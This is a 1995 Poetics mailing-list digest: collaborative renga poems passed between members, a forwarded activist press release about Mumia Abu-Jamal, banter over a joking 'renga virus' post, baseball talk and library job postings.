The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah

↑ Index

330. **Jordan Davis.**
Re: Renga 1
Wed 9 Aug 1995

> > > In the books were dreams and in the dreams were books.
> > >> And flew through windows, lightning green and fine morning
> > >> First inverted whistle of a cardinal in the poplar
> > >> The book and the oboe on the grass under sun and cloud
> > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
> > >> Mollycoddled than aware, thin-spined and pebbling
> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
 gives gracious problem: fanatical snacks, landscape of
the french language

↑ Index

331. Gabrielle Welford

Ann Arbor City Council Passes Resolution on Mumia! (fwd)

Wed 9 Aug 1995

---------- Forwarded message ----------
Date: Wed, 9 Aug 1995 05:18:16 -1000
From: Paul Steven Lefrak <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: Ann Arbor City Council Passes Resolution on Mumia!

For immediate release:
ANN ARBOR CITY COUNCIL PASSES RESOLUTION CALLING FOR NEW TRIAL FOR MUMIA
ABU-JAMAL

Aug.7--The City Council of Ann Arbor, MI tonight passed a resolution calling for a new trial for Pennsylvania political prisoner Mumia Abu-Jamal and that his death sentence be set aside. Ann Arbor now joins Detroit, Madison, and Cambridge, MA as the fourth American city council to pass such a resolution. The resolution was passed by an 8-1 majority and the effort to win the resolution was initiated by members of the Ann Arbor-based Emergency Committee Against the Racist Execution (Emergency CARE: [redacted] / [redacted]).

It is significant to note that the resolution was passed despite the fact that earlier in the day Mumia Abu-Jamal had been granted a stay of execution. There was some discussion on the Council about whether the resolution was still necessary given the stay. Emergency CARE members addressed the Council and pointed out that the death sentence still loomed over Mumia's head, that he was still in Judge Sabo's court, and that he had not been granted a new trial. They pointed out that it was getting similar resolutions passed in other cities--a direct result of a mass worldwide movement--that helped create the political climate in which today's court victory could even be won.

Earlier, Emergency CARE members joined forces with approximately forty members of the Coalition for Community Unity (CCU) who were picketing prior to the meeting. CCU initiated its picket in response to the near-unanimous vote of City Council last week in which the Council capitulated to police pressure and backed down from demanding an immediate return of the blood and DNA samples obtained from 160 area Black men during the highly racist police "investigation" of the now-solved serial rape case. No action was taken on that issue at the Monday night City Council meeting.

Emergency CARE members are currently organizing for the August 12 national protest in Philadelphia demanding a new trial for Mumia Abu-Jamal, a stop to

the execution, an end to the racist death penalty, and a halt to the agenda of the right-wing. The victory won today only hardened members' determination to continue the fight. We will not be placated!

FREE MUMIA ABU-JAMAL AND ALL OTHER LIBERATION FIGHTERS!
ABOLISH THE RACIST DEATH PENALTY!

Paul Lefrak
[redacted]

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332. **Joseph Zitt**
Re: eR 1
Wed 9 Aug 1995

On 8 Aug 95 at 23:43, Jorge Guitart wrote:

> > > >> >> > > > > In the books were dreams and in the dreams were books.
> > > >> >> > > > >> And flew through windows, lightning green and fine morning
> > > >> >> > > > >> First inverted whistle of a cardinal in the poplar
> > > >> >> > > > >> The book and the oboe on the grass under sun and cloud
> > > >> >> > > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> >> > > > >> The caravan of windows to what they flee
> > > >> >> > > > >> These lace curtains, more gauze than bondage, more
> > > >> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
> > > >> >> > > > >> but narrow in the waist or waspish Sunday years ago
> > > >> >> > > > >> Over coffee topped with whipped cream, the Times blowing
> > > >> >> > > > > & opining, heavy humid air, cumulus amusing against the
> > > >> >> > > > bleached ribcage ripcorded into compassed wind
> > > >> >> > > kissing the weatherwoman between her breasts as she
> > > >> >> > gives gracious problem: fanatical snacks, landscape of
> > > >> >> ><< lunar dust, the misdirected modules returning to the
> > > >> >> morning
> > > >> >> from the books out of the dreams away from the lonesome
> > > >> >> wail of the glob that cradles in its claws The Anthology
> > > >> >> of retrospective prescience sanded down to mean the elbows
> > > cleanly

> > > >> fit to be you or the phantasm that space foreclosed when the
> > > first sentence spilled from heaven wheat of some kind blistered and untuned
> > > by the harpie of space here for add in whatever you choose or not
> but don't single out the dog waiting to happen and the free mildew leases, the hare that bit him, the cat in the box (perhaps)

---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

333. **Joseph Zitt**
Re: ringing renga
Wed 9 Aug 1995

On 9 Aug 95 at 9:53, Kevin Killian wrote:

> *On Aug 9 Thomas Bell wrote*
>
> *Aftrer courageous efforts by allnight workers in Mexico City*
> *a cure to the renbga virus was found, saving millions of users*
> *worldwide . The source was discovered and it can be removed!*
> *Contact [redacted] for a visusrenag remover - 77 Mexican dollars*
>
> *I don't want to sound like the pc-police here, but does this sound a bit*
> *racist to anyone else?*

Racist? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

334. **Tony Green**
Re: JG others and us
Wed 9 Aug 1995

---

to Alam Sondheim (& Survivors - of the 60s/70s all) is it still cool to say Right On?

Tony Green,
e-mail: [redacted]

post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

335. **cris cheek**
Re: desire / and the 39 steps
Wed 9 Aug 1995

ornamental poppy petals voiced out of a pitted steel catering bowl from a folly functive balcony plaster themselves around the drying lips of gaping mouths -
amazed. these kids like tape hiss most. fadding into one last peal of moss.

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336. **Wystan Curnow**
Re: ringing renga
Wed 9 Aug 1995

on Wed, 9 August Jorge Guitart wrote
Dodie Bellamy wrote
Thomas Bell wrote

Aftrer courageous efforts by allnight workers in Mexico City a cure
I don't want to sound like the P-C police here but
it is racist in that it presumes that mexicans lack imagination
in the book were dreams and in the dreams were books
and you won't get rid of us that easily

↑ Index

337. **Anmarie Trimble**
Re: Dear Alan, Dear Harper
Wed 9 Aug 1995

> *Alan,*
>
> *Thanks for the titles. I heard harper read "Nightmare Begins Responsibility" and I think three or four more poems in the "Language of Life" series currently running on PBS this side of the medicine line. I think slick is the best word. He was reading with a jazz trio, very beat, but reminded me in his language and style of Amiri Baraka, AM/TRAK and thereabouts.*

> *What amazed me is his sense of performance vs. reading, demonstrated best by his interpretations of some inner-city poets' works. After him came Adrienne Rich and it was night and day, for me. Rhythm seems to be an extension of content and in some cases content itself.*
>
> *Oh yeah, renga.*
>
> *Ryan Knighton*
> *Unprofessor of Literature*
> *Frozen Frazer University*

Dear everybody -

I didn't catch the name of the poet included in the second part of "the language of life." She read "night vision." Of course, I could do a search by title, but I'd rather display my ignorance before oodles of complete strangers.

I'd say Cruz was the heat of the day, Harper the beat of the night, and Rich wore the deceptive calm of the indoors.

-Anmarie

↑ Index

338. Jorge Guitart
Re: jesus christ was born today
Wed 9 Aug 1995

On Wed, 9 Aug 1995, Jordan Davis. wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance (inspection
> denied for not knowing how credenza was meant) & neo-colonizing

> who do you think is at the end of this shaft if it isn't
> the distal nude and the proximal guano but you and I were about to
> tango in a thunderstorm, lightning be damned, forget my skin, ask
> me and I'll walk quietly up fifth to the mid manhattan branch
  and check my balance for the abyss is open late

↑ Index

339. Jorge Guitart
Re: fear of god
Wed 9 Aug 1995

On Wed, 9 Aug 1995, Jordan Davis. wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*

↑ Index

340. George Bowering
Re: Mitchellmania, Harpermania
Thu 10 Aug 1995

Mitchell also played third base (sort of) for the Mets, and a year, I think in San Diego, where he grew up, and where his brother is bad news.

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341. Blair Seagram
Chris Stroffolino
Thu 10 Aug 1995

If this is yours, please notify sender of correct address. If this is not yours, please use 'reply' to notify me.

********** *
W A R N I N G * *
* * This item has been FORWARDED to you from the * *
system DEAD-LETTER file/folder by the postmaster * * DO NOT use the
'reply' function (reply will go to postmaster) * * Instead, please do a 'send'
to the originator of the item. * * thanks - postmaster
* ********** From:
IN%"[redacted]" "PMDF Mail Server" 9-AUG-1995 Your message could not be delivered to:

--> Error description:
Error-For: [redacted]
Error-Code: 3
Error-Text: unknown or illegal user: [redacted]

Date: Wed, 9 Aug 1995 00:23:09 -0800
To: [redacted]
From: [redacted] (Blair Seagram)
Subject: Backchannel bouncing

Date: Fri, 28 Jul 1995 14:46:59 -0400
From: Chris Stroffolino <[redacted]>
Subject: Re: Studio space

Blair--I tried to contact you backchannnel about some longshot possibilities--friends in Brooklyn, etc--but it bounced back to me....backchannel me, Chris

Dear Chris:

I apologize for such a tardy response. I came acrosss your message tonight while looking on past posts for meanings of renga (something I am still unclear on). I must have missed your post first time around. Not paying enough attention I guess.

I'm not sure what happened via backchannel but try again please, if only to test the address [redacted]. If you know of any studios, I'd be interested to hear about them.

Thanks for your trouble. Best wishes.
Blair

By the way where are you located geographically?

Dear Chris:

That was then and this is now. Apparently I got bounced last night, not only from your address, but from the poetics list. So here we go on a second round. By the way, your address above ([redacted]) is not the one I used, not as far as I know. I believe I copied your address verbatim ([redacted]). In any event, I am now more interested in seeing if this message gets through, than I am in finding out about studio spaces.

I wonder if I was bounced from the poetics list because I only used a subject heading and left the body empty?

Please contact me Chris, if necessary use the poetics list and make the subject my name. That way, I have a better chance of catching your post, since I get my poetics mail bundled.

Best wishes
Blair

↑ Index

342. Ron Silliman
In the books were dreams
Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
would calmness be without the stain of possession and
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
    (inspection
prickling with tenors, saving arrogance for free choice, long division
with its equally long aftertaste, or did its overtone

collapse a wild sugar ago the fleet of cabernet oblivions for
outrage. Marketing posture allowed gravel a way home
My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
and he is transparent like Victor the Vector getting home
& Hector the Protector sent back by the Queen

↑ Index

343. Ron Silliman
Long Strange Trip
Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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francs
by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and
making a racket, the rocket high in the night sky explodes, unloading

↑ Index

344. Ron Silliman
Re: Mitchellmania, Harpermania
Thu 10 Aug 1995

Kevin Mitchell was the Most Valuable Player for the National League in 1989, I believe, the year he hit 47 homers to lead the league. He once caught a line drive in left field with his bare hand. But he did grow up in the San Diego ghetto and still hangs with his childhood buddies.

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345. Gabrielle Welford
job for writer w/Haitian Radio (fwd)
Thu 10 Aug 1995

This was attached to an e-mail from a friend in the Carribean:

Wanted: Haitian Radio Scriptwriter Who has experience writing radio drama and has worked in primary education. Good ear for writing drama and a sense of how to write for children is more important than actual radio scriptwriting experience.

Must speak and write English, French and/or Creole, and be willing to travel to Washington, DC and Haiti.

Fax resume and brief writing sample to: Betsy Goldstein at [redacted].

.....
E. Winters
[redacted]
http://www.wordsimages.com/ewinters/ewinters.htm
37.53 N 122.17 W
.....

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346. Charles Alexander
Re: In the books were dreams
Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
would calmness be without the stain of possession and
The book and the oboe on the grass under sun and cloud

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outrage. Marketing posture allowed gravel a way home
My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
and he is transparent like Victor the Vector getting home
& Hector the Protector sent back by the Queen
of Wands, who willed her magic to free political sentences

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[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

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347. Charles Alexander

Re: Long Strange Trip

Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
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charles alexander [==========^^==========]
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[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

348. **cris cheek**
Re: Renga3?
Thu 10 Aug 1995

>>> > > In the books were dreams and in the dreams were books.
>>> > > And flew through windows, lightning green and fine morning
>>> > > > > would calmness be without the stain of possession and

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>>> > > bleached ribcage ripcorded into compassed wind
>>> > > kissing the weatherwoman between her breasts as she
>>> > > gives gracious problem: fanatical snacks, landscape of
>>> > > flicka my best friend and the storm in the glass of water's
>>> > > halfway pertinent incision we keep making safe for ignorance (inspection
>>> > > prickling with tenors, saving arrogance for free choice, long division
>>> > > with its equally long aftertaste, or did its overtone
>>> > collapse a wild sugar ago the fleet of cabernet oblivions for
>>> > outrage. Marketing posture allowed gravel a way home
>>> My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
>> and he is transparent like Victor the Vector getting home
> brew safely to the lips pornographied like pressure in the tongue
  detuned) to set sail from these balmy hunks of land and take a break

↑ Index

349. **Tom Mandel**

Re: In the books were dreams

Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
would calmness be without the stain of possession and
The book and the oboe on the grass under sun and cloud
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My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
and he is transparent like Victor the Vector getting home
& Hector the Protector sent back by the Queen
of Wands, who willed her magic to free political sentences
and wake us from such dreams. He stayed in to practice

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350. Tom Mandel
Re: Long Strange Trip
Thu 10 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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but don't single out the dog waiting to happen and the free mildew
lihts behind the cabbage, Pringles, and southerly winds exchanged for
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 by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and
making a racket, the rocket high in the night sky explodes, unloading
spackle not stars, shy fires made present in a dustful system
in which I lunch with Bernardine Dohrn. Must we wake dreamers if

↑ Index

351. Jim Pangborn
Re: JG others and us
Thu 10 Aug 1995

Tony Green <[redacted]> asks:
>
>to Alam Sondheim (& Survivors - of the 60s/70s all) is it still cool
>to say Right On?
>

No. Say that and I promise I'll punch your lights out.

(Oops-- had my fingers crossed just then. Peace, mon. Seriously one very seldom hears that phrase uttered without a tinge of ironic self-citation, as though in scary-sarcastic quotation marks. Same with "politically correct." Even Marvin Gaye seems to be laughing at himself --or some *autre*--when he sprechsings it in "What's Goin' On." We'd say, "Right arm, man." Polar opposite of "right face" or "dress right, dress," so it felt at the time. Nowadays I reach back a bit farther and, following Creeley, just say "dig.")

--JimP

↑ Index

352. Jim Pangborn
Re: ringing renga
Thu 10 Aug 1995

Jorge writes,
>it is racist in that it presumes that mexicans lack imagination
>since the only thing that can stop renga is precisely the lack of
>imagination. i am partly mexican and, as the famous corrido says, "que
>siga la renga!"

Aha: I thought Dodie might have meant that the offending post portrayed Russian caucasians like Trotsky as congenitally unable to keep from exploiting needy third-world lab technicians, setting up sweatshops despite his professedly communist political stance. Thanks for setting me straight on that.

Personally, I view the Rengba virus as God's revenge on those who carped about the Anti-Hegemony Project taking up too much list-space a while back. You know, the type of people who come down with it . . .

Dodie Bellamy wrote

On Wed, 9 Aug 1995, Kevin Killian wrote:

> *On Aug 9 Thomas Bell wrote*
>
> *Aftrer courageous efforts by allnight workers in Mexico City*
> *a cure to the renbga virus was found, saving millions of users*
> *worldwide . The source was discovered and it can be removed!*
> *Contact [redacted] for a visusrenag remover - 77 Mexican dollars*
>
> *I don't want to sound like the pc-police here, but does this sound a bit*
> *racist to anyone else?*
>
> *Dodie Bellamy*

↑ Index

353. **maria damon**
Re: Mitchellmania, Harpermania
Thu 10 Aug 1995

---

ron s writes:
> Kevin Mitchell was the Most Valuable Player for the National League in
> 1989, I believe, the year he hit 47 homers to lead the league. He once
> caught a line drive in left field with his bare hand. But he did grow
> up in the San Diego ghetto and still hangs with his childhood buddies.

this is strange and interesting. all the responses i've gotten to the q. who is kevin mitchell have yielded that he is mediocre, most valuable player, interesting, uninteresting, good bad etc. thanks!--md

↑ Index

354. **Jorge Guitart**
Re: eR 1
Thu 10 Aug 1995

On Wed, 9 Aug 1995, Joseph Zitt wrote:

> On 8 Aug 95 at 23:43, Jorge Guitart wrote:
>
> > > > >> >> > > > > In the books were dreams and in the dreams were books.
> > > > >> >> > > > >> And flew through windows, lightning green and fine morning
> > > > >> >> > > > >> First inverted whistle of a cardinal in the poplar
> > > > >> >> > > > >> The book and the oboe on the grass under sun and cloud
> > > > >> >> > > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > > >> >> > > > >> The caravan of windows to what they flee
> > > > >> >> > > > >> These lace curtains, more gauze than bondage, more
> > > > >> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
> > > > >> >> > > > >> but narrow in the waist or waspish Sunday years ago
> > > > >> >> > > > >> Over coffee topped with whipped cream, the Times blowing
> > > > >> >> > > > & opining, heavy humid air, cumulus amusing against the
> > > > >> >> > > bleached ribcage ripcorded into compassed wind
> > > > >> >> > kissing the weatherwoman between her breasts as she
> > > > >> >> gives gracious problem: fanatical snacks, landscape of
> > > > >> >><< lunar dust, the misdirected modules returning to the
> > > > >> >> morning
> > > > >> >> from the books out of the dreams away from the lonesome
> > > > >> >> wail of the glob that cradles in its claws The Anthology
> > > > >> >> of retrospective prescience sanded down to mean the elbows
> > > > cleanly
> > > > >> fit to be you or the phantasm that space foreclosed when the
> > > > first sentence spilled from heaven wheat of some kind blistered and untuned
> > > > by the harpie of space here for add in whatever you choose or not
> > but don't single out the dog waiting to happen and the free mildew
> leases, the hare that bit him, the cat in the box (perhaps)
 the one that Hrodinger left here and I don't know if I am alive

↑ Index

355. **maria damon**
Re: JG others and us
Thu 10 Aug 1995

---

pangborn writes:
> Tony Green <[redacted]> asks:
> >
> >to Alam Sondheim (& Survivors - of the 60s/70s all) is it still cool
> >to say Right On?
> >
>
> No. Say that and I promise I'll punch your lights out.
>
 excuse me i say right on and groovy all the time. others impute an irony to my using those phrases (assuming no one could say them "straight" anymore), but i'm
just saying it. saying it. saying it. come to mpls and i'll say it for you a coupla times. or rather, since i'm going on sabbatical, come to cape cod (YAY!) and i'll say it for you a coupla times.--md

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356. **Jorge Guitart**
Re: Long Strange Trip II
Thu 10 Aug 1995

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> lunar dust, the misdirected modules returning to the
> morning
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> wail of the glob that cradles in its claws The Anthology

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> but don't single out the dog waiting to happen and the free mildew
> lihts behind the cabbage, Pringles, and southerly winds exchanged for
> francs
> by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and
> making a racket, the rocket high in the night sky explodes, unloading
  the sperm of light looking to connect with the egg of night, but if you

↑ Index

357. **Jorge Guitart**

Re: Renga3?

Thu 10 Aug 1995

On Thu, 10 Aug 1995, cris cheek wrote:

> >>> > > In the books were dreams and in the dreams were books.
> >>> > > And flew through windows, lightning green and fine morning
> >>> > > > > would calmness be without the stain of possession and
> >>> > > The book and the oboe on the grass under sun and cloud
> >>> >   > Go endlessly, an obtuse Prussian blue, it binds
> >>> >>> The caravan of windows to what they flee
> >>> > > These lace curtains, more gauze than bondage, more
> >>> >   > > > Mollycoddled than aware, thin-spined and pebbling
> >>> > > > but narrow in the waist or waspish Sunday years ago
> >>> > > > >>> Over coffee topped with whipped cream, the Times blowing
> >>> > > >> & opining, heavy humid air, cumulus amusing against the
> >>> > > bleached ribcage ripcorded into compassed wind
> >>> > > kissing the weatherwoman between her breasts as she
> >>> > > gives gracious problem: fanatical snacks, landscape of
> >>> > > flicka my best friend and the storm in the glass of water's
> >>> > > halfway pertinent incision we keep making safe for ignorance (inspection
> >>> > >   prickling with tenors, saving arrogance for free choice, long division
> >>> > > with its equally long aftertaste, or did its overtone
> >>> > collapse a wild sugar ago the fleet of cabernet oblivions for

> >>> > outrage. Marketing posture allowed gravel a way home
> >>> My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
> >> and he is transparent like Victor the Vector getting home
> > brew safely to the lips pornographied like pressure in the tongue
> detuned) to set sail from these balmy hunks of land and take a break
but bring back the head of elena garcia attached to her body, please

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358. Jorge Guitart

Re: In the books were dreams

Thu 10 Aug 1995

On Thu, 10 Aug 1995, Charles Alexander wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> would calmness be without the stain of possession and
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
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> outrage. Marketing posture allowed gravel a way home
> My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
> and he is transparent like Victor the Vector getting home
> & Hector the Protector sent back by the Queen
> of Wands, who willed her magic to free political sentences
 that that the `that' might live by the Lake of Innisprison
[===========^^============]
>

```
                                [  mebbe i'm  <>  i'm   ]
>                                [    rahht  <>  wrong  ]
>                                [    an'     <> n' mebbe]
>                                [    mebbe  <>  i'm weak
>                                [===========vv============]
>
```

↑ Index

359. **Jorge Guitart**

Re: Long Strange Trip

Thu 10 Aug 1995

On Thu, 10 Aug 1995, Tom Mandel wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
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> lunar dust, the misdirected modules returning to the
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> of retrospective prescience sanded down to mean the elbows
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> fit to be you or the phantasm that space foreclosed when t
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> first sentence spilled from heaven wheat of some kind blistered and
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> by the harpie of space here for add in whatever you choose or not
> but don't single out the dog waiting to happen and the free mildew
> lihts behind the cabbage, Pringles, and southerly winds exchanged for
> francs

> by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and
> making a racket, the rocket high in the night sky explodes, unloading
> spackle not stars, shy fires made present in a dustful system
> in which I lunch with Bernardine Dohrn. Must we wake dreamers if
they are having a general good time with B.D.? And must we

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360. Sheila E. Murphy

Re: In the books were dreams

Thu 10 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>would calmness be without the stain of possession and
>The book and the oboe on the grass under sun and cloud
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>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her breasts as she
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>halfway pertinent incision we keep making safe for ignorance
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>prickling with tenors, saving arrogance for free choice, long division
>with its equally long aftertaste, or did its overtone
>collapse a wild sugar ago the fleet of cabernet oblivions for
>outrage. Marketing posture allowed gravel a way home
>My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
>and he is transparent like Victor the Vector getting home
>& Hector the Protector sent back by the Queen
>of Wands, who willed her magic to free political sentences
>and wake us from such dreams. He stayed in to practice
the cool float of heretocracy he'd read was poles apart from pastures

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361. Sheila E. Murphy

Re: Long Strange Trip

Thu 10 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
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>but don't single out the dog waiting to happen and the free mildew
>lihts behind the cabbage, Pringles, and southerly winds exchanged for
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> by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and
>making a racket, the rocket high in the night sky explodes, unloading
>spackle not stars, shy fires made present in a dustful system
>in which I lunch with Bernardine Dohrn. Must we wake dreamers if
they consistently resist trance, favoring the transom as more tangible
dreamcatcher than

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362. **Jorge Guitart**
Re: ringing renga
Thu 10 Aug 1995

for the record, i don't think Tom Bell's message was racist. i was being as facetious as he was. mexicans are not a race.

On Thu, 10 Aug 1995, Jim Pangborn wrote
> Jorge writes,
> >it is racist in that it presumes that mexicans lack imagination
> >since the only thing that can stop renga is precisely the lack of
> >imagination. i am partly mexican and, as the famous corrido says, "que
> >siga la renga!"
>
> Aha: I thought Dodie might have meant that the offending post portrayed Russian
> caucasians like Trotsky as congenitally unable to keep from exploiting needy
> third-world lab technicians, setting up sweatshops despite his professedly
> communist political stance. Thanks for setting me straight on that.
>
> Personally, I view the Rengba virus as God's revenge on those who carped about
> the Anti-Hegemony Project taking up too much list-space a while back.
> You know,
> the type of people who come down with it . . .
>
>
> Dodie Bellamy wrote
>
> On Wed, 9 Aug 1995, Kevin Killian wrote:
>
> > On Aug 9 Thomas Bell wrote
> >
> > >Aftrer courageous efforts by allnight workers in Mexico City
> > >a cure to the renbga virus was found, saving millions of users
> > >worldwide . The source was discovered and it can be removed!
> > >Contact [redacted] for a visusrenag remover - 77 Mexican dollars
> >
> > I don't want to sound like the pc-police here, but does this sound a bit
> > racist to anyone else?
> >
> > Dodie Bellamy

> >
>

↑ Index

363. Edward Foster
Re: desire / and the 39 steps
Thu 10 Aug 1995

---

to leave: and hissing tape, his silence like the poppy without bloom, the garden (wholly his) unweeded, and the face,

no longer mine, gives back dry lips, but no amazement, for it's always thus. dickinson, of course: the moss.

↑ Index

364. Marisa A Januzzi
Job Posting - Assistant Curator, Harvard Theatre Collection (fwd)
Thu 10 Aug 1995

There were three other jobs advertised on this list, as well... just thought someone our there might be interested.

--Marisa
---------- Forwarded message ----------
Date: Wed, 9 Aug 1995 18:14:46 -0400
From: Leslie Morris <[redacted]>
To: Multiple recipients of list EXLIBRIS <[redacted]>
Subject: Job Posting - Assistant Curator, Harvard Theatre Collection

PROFESSIONAL VACANCY

Assistant Curator, Harvard Theatre Collection
Houghton Library

The Houghton Library seeks a creative and thoughtful individual to serve as the Assistant Curator of the Harvard Theatre Collection. Established in 1901, the Theatre Collection is America's oldest performing arts research collection, encompassing all aspects of the history of performance throughout the world, and with particular strengths in the English and American stage and the history of theatrical dance.

The Assistant Curator has primary responsibility for organizing and supervising cataloging procedures and computer applications using HOLLIS and the Theatre Collection's local area network; serves as the liaison with other cataloging departments in the College Library, and works closely with colleagues in the Houghton Library; catalogs original materials, including

manuscripts, drawings, prints, and photographs; assists the Curator with acquisitions, and supervises the accessioning process. Together with the Curator, the Assistant Curator supervises the office, reading room, and other staff members; contributes to planning and mounting exhibitions and other Harvard Theatre Collection events.

The Collection is estimated to contain over 3 million playbills and programs, ca. 650,000 photographs, 250,000 engraved portraits and scenes, 15,000 scenery and costume designs, and nearly 6500 promptbooks, in addition to manuscripts, printed books, journals, and news clippings. The Collection has been located since 1976 in the Nathan Marsh Pusey Library, adjacent to the Houghton Library, which is the principal special collections library of Harvard College.

Qualifications: Masters degree in Library Science; advanced degree in drama, theatre history, dance, or an allied subject desirable. Library experience, with cataloging a variety of special formats necessary, especially manuscripts and visual materials. Experience with microcomputer applications and familiarity with automated library systems, with MARC format and AACR2 required. Knowledge of a foreign language desirable. Minimum of five years of professional work experience, preferably in special collections librarianship or archival administration. Exceptional interpersonal and communication skills (both oral and written). Demonstrated flexibility and initiative in adapting to changing organizational priorities. Evidence of and commitment to continuing participation in professional activities.

